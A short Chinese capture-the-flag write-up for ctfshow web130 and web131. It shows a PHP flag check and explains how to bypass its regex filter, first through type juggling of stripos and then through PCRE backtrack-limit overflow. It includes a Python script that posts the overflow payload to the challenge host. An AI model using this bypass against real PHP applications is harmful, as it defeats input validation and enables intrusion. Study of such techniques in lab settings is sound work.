ctfshow web130.131(突破正则!)
if(isset($_POST['f'])){
//$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
130 没有进行类型转换,非常好过,因为stripos这个函数有三个返回值:
1.bool(false) -----> 未找到需要查找的字符串
2.NULL -----> 第一个参数是数组
3.int(?) -----> 找到字符串的位置并返回该数字
131 正则表达式溢出:
考察点:利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
原文链接:https://blog.csdn.net/miuzzx/article/details/109181768
python脚本如下
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)